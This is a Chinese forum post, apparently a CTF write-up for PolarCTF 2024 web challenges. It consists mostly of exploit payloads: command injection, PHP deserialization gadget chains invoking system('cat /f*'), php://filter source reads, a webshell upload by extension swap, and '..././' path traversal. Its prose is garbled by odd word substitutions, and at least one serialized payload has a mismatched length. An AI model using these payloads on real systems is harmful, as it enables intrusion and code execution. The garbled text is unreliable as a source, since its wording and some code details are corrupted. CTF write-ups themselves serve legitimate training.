【Web】PolarCTF2024秋季个人寻衅赛wp

[复制链接]
发表于 2025-12-3 01:00:18 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
EZ_Host

一眼丁真下令注入

payload:
  1. ?host=127.0.0.1;cat+f*
复制代码

序列一下


exp:
  1. <?php
  2. class Polar{
  3.     public $lt;
  4.     public $b;
  5. }
  6. $p=new Polar();
  7. $p->lt="system";
  8. $p->b="tac /f*";
  9. echo serialize($p);
复制代码
payload:
  1. x=O:5:"Polar":2:{s:2:"lt";s:6:"system";s:1:"b";s:7:"tac /f*";}
复制代码

vm50给你flag

先读waf源码
  1. ?file=php://filter/convert.base64-encode/resource=funs.php
复制代码

base64解码
  1. <?php
  2. include '[email protected]';
  3. function myWaf($data)
  4. {
  5.     if (preg_match("/f1@g/i", $data)) {
  6.         echo "NONONONON0!";
  7.         return FALSE;
  8.     } else {
  9.         return TRUE;
  10.     }
  11. }
  12. class A
  13. {
  14.     private $a;
  15.     public function __destruct()
  16.     {
  17.         echo "A->" . $this->a . "destruct!";
  18.     }
  19. }
  20. class B
  21. {
  22.     private $b = array();
  23.     public function __toString()
  24.     {
  25.         $str_array= $this->b;
  26.         $str2 = $str_array['kfc']->vm50;
  27.         return "Crazy Thursday".$str2;
  28.     }
  29. }
  30. class C{
  31.     private $c = array();
  32.     public function __get($kfc){
  33.         global $flag;
  34.         $f = $this->c[$kfc];
  35.         var_dump($$f);
  36.     }
  37. }
复制代码
exp:
  1. <?php
  2. class A
  3. {
  4.     public $a;
  5. }
  6. class B
  7. {
  8.     public $b;
  9. }
  10. class C{
  11.     public $c;
  12. }
  13. //A#__destruct -> B#__toString -> C#__get
  14. $c=new C();
  15. $b=new B();
  16. $a=new A();
  17. $c->c=array("vm50"=>"flag");
  18. $b->b=array("kfc"=>$c);
  19. $a->a=$b;
  20. echo serialize($a);
复制代码
payload:
  1. O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";a:1:{s:3:"kfc";O:1:"C":1:{s:1:"c";a:1:{s:4:"vm50";s:4:"flag";}}}}}
复制代码


Deserialize


访问./hidden

访问./hidden/hidden.php

exp
  1. <?php
  2. class Token {
  3.     public $id;
  4.     public $secret;
  5. }
  6. class User {
  7.     public $name;
  8.     public $isAdmin = false;
  9.     public $token;
  10. }
  11. class Product {
  12.     public $productName;
  13.     public $price;
  14. }
  15. $c=new Product();
  16. $b=new Token();
  17. $a=new User();
  18. $c->productName='1';
  19. $c->price=1;
  20. $b->product=$c;
  21. $b->id=1;
  22. $a->name="";
  23. $a->token=$b;
  24. $a->isAdmin=true;
  25. echo serialize($a);
复制代码
payload:
  1. ./hidden/hidden.php?data=O:4:"User":3:{s:4:"name";s:5:"";s:7:"isAdmin";b:1;s:5:"token";O:5:"Token":3:{s:2:"id";i:1;s:6:"secret";N;s:7:"product";O:7:"Product":2:{s:11:"productName";s:1:"1";s:5:"price";i:1;}}}
复制代码

传马


上传一个png文件抓包改php后缀

访问传的马,RCE

bllbl_ser1

一开始给了php代码

exp:
  1. <?php
  2. class bllbl
  3. {
  4.     public $qiang;//我的强
  5. }
  6. class bllnbnl{
  7.     public $er;//我的儿
  8. }
  9. $b=new bllbl();
  10. $a=new bllnbnl();
  11. $a->er="system('cat /f*');";
  12. $b->qiang=$a;
  13. echo serialize($b);
复制代码
payload:
  1. ?blljl=O:5:"bllbl":1:{s:5:"qiang";O:7:"bllnbnl":1:{s:2:"er";s:18:"system('cat /f*');";}}
复制代码

投喂


exp:
  1. <?php
  2. class User
  3. {
  4.     public $username;
  5.     public $is_admin;
  6. }
  7. $a=new User();
  8. $a->is_admin=true;
  9. echo serialize($a);
复制代码
payload:
  1. data=O:4:"User":2:{s:8:"username";N;s:8:"is_admin";b:1;}
复制代码

raoyiquan


payload:
  1. ?c.md=env
复制代码
读情况变量偷鸡乐成

但交了不对()
老诚实实绕吧
payload:
  1. ?c.md=tac /flag.php
复制代码

1ncIud3

扫出来


page=flag对应了./flag.php,文件后缀写死了是php
颠末测试发现标题会将…/更换为空,双写绕过可以目次穿越
  1. ?page=..././..././..././..././..././..././..././..././f14g
复制代码

回复

使用道具 举报

登录后关闭弹窗

登录参与点评抽奖  加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表